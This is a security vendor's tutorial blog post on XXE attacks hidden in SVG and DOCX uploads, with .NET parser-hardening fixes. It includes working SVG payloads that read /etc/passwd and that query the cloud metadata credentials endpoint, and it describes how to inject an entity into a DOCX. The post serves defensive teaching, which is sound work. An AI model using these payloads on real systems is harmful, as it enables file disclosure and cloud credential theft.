XML External EntityFile-Backed Formats

XXE in File Uploads: SVG, DOCX and Other XML-Backed Formats

An image upload or document import does not look like an XML endpoint — but SVG, OOXML and SAML are XML under the hood, and they reach a parser all the same. Here is how XXE hides behind a feature that never mentions XML, and the parser settings that close it everywhere.

SelfSec Team5 min read
Part 4 of 4from theXML External Entityseries
<svg><text>&xxe;</text></svg>
On this page

Developers harden the endpoints they recognise as XML — the SOAP service, the SAML callback — and leave the rest alone. The trouble is that a great deal of XML never announces itself. An SVG is an XML document with an image extension. A DOCX, XLSX or PPTX is a ZIP archive whose entries are XML. SAML assertions, RSS and Atom feeds are XML wearing a different name. So an "avatar upload" or a "spreadsheet import" quietly streams attacker-controlled XML into a parser, and that parser is often a default-configured one buried inside an image or document library nobody thought to audit.

This post shows how an XXE payload rides into the application inside formats that do not look like XML, how it reads local files and pivots to SSRF from a humble upload field, and the parser configuration that has to be applied to every XML parser — including the ones inside your dependencies.

How it happens

The sink is the same as classic XXE — a parser that resolves DOCTYPE-declared external entities — but the route is disguised. The application never calls XmlReader itself; it calls an image resizer, a thumbnail generator, a document-to-text converter, or a feed reader, and that library parses XML on its behalf. Consider a profile endpoint that accepts an uploaded image and renders a thumbnail:

var bytes = await ReadUploadAsync(request);
if (!IsAllowedImage(fileName)) return Results.BadRequest();

using var image = svgRenderer.Load(bytes);
var thumb = image.RenderThumbnail(128, 128);
return File(thumb, "image/png");

The check sees an .svg extension and waves it through as an image. But SVG is XML, and svgRenderer.Load hands the bytes to an XML parser that may resolve external entities by default. The application thinks it is processing a picture; the library is processing a DOCTYPE.

A concrete attack: an external entity inside an SVG

The attacker uploads a file with an .svg extension whose content is an SVG document carrying a DOCTYPE and an external entity. The entity reads a local file; the SVG renders that text as a visible <text> element, so the disclosed contents come straight back inside the thumbnail:

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="600" height="200">
  <text x="10" y="20" font-size="14">&xxe;</text>
</svg>

When the renderer parses the SVG, it resolves &xxe; by reading file:///etc/passwd and substitutes the file's contents into the text node. The rendered PNG that comes back — an "image" — now has the file painted across it:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Swapping the target for an internal URL turns the same upload into a server-side request forger reaching cloud metadata the renderer fetches on the attacker's behalf:

<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

The OOXML case is the same payload wrapped differently: a DOCX is a ZIP, so the attacker unzips a valid document, injects the DOCTYPE and external entity into word/document.xml, re-zips it, and uploads it to a "document import" feature — the converter parses the inner XML and resolves the entity exactly as the SVG renderer did.

Nobody on the team thought this endpoint touched XML — it accepts images. The XXE sink was hiding one layer down, inside a rendering library doing exactly what an XML parser is told to do by default.

What an attacker gains

Hiding the XML behind a benign-looking feature widens the attack surface dramatically:

  • Local file disclosure from an upload field — read /etc/passwd, source, .env files and keys by uploading what looks like an avatar or a spreadsheet.
  • SSRF from image and document processing — reach internal-only services and cloud-metadata endpoints through the library's outbound fetch.
  • A sink defenders never reviewed — the parser lives inside a third-party dependency, so the team's hardened XmlReader calls are irrelevant to it.
  • Reach across many formats at once — SVG, OOXML, SAML, RSS and Atom all funnel into XML parsers, so one missing flag exposes several features.

The fix: disable external entities in every parser, and validate uploads

The parser-level fix is unchanged — prohibit DTDs and external entities — but here it must be applied to every XML parser in the stack, especially the ones inside image and document libraries. For parsers you call directly, in .NET:

var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);
var doc = new XmlDocument { XmlResolver = null };
doc.Load(reader);

For the parsers you don't call directly, the work is to find them and configure them the same way:

  • Configure XML processing inside dependencies — image renderers, document converters, feed and SAML libraries each wrap an XML parser; set its secure-processing flag or disable external-entity resolution, and pick libraries that ship safe defaults.
  • Validate uploads beyond the extension — sniff content type and reject SVG (or convert it to a raster format) where a true image suffices; do not trust a filename to tell you a payload is "just a picture".
  • Keep XML and media libraries patched, since insecure defaults and resolver bypasses inside these formats shift between versions.

How SelfSec finds it

SelfSec treats upload and import features as XML sinks even when they advertise images or documents: it submits SVG, OOXML and feed payloads whose DOCTYPE references local-file resources and internal and cloud-metadata URLs, then inspects what comes back — the rendered image, the converted text, the error — for the resolved contents, markers such as root:x:0:0 or Windows win.ini sections surfacing where the entity expanded, so the finding is confirmed, not inferred from the file type. Everything runs locally on 127.0.0.1, so your targets and scan data never leave your machine, and each finding ships with the crafted file and the request that delivered it so you can replay the upload end to end.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about XML External Entity

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The XML External Entity series

  1. 01OverviewXML External Entity (XXE): How a Parser Reads /etc/passwd For You3 min
  2. 02Blind / Out-of-BandBlind XXE: Exfiltrating Files With Out-of-Band Parameter Entities5 min
  3. 03Denial of ServiceBillion Laughs: Denial of Service Through XML Entity Expansion5 min
  4. 04File-Backed FormatsXXE in File Uploads: SVG, DOCX and Other XML-Backed FormatsReading

Related reading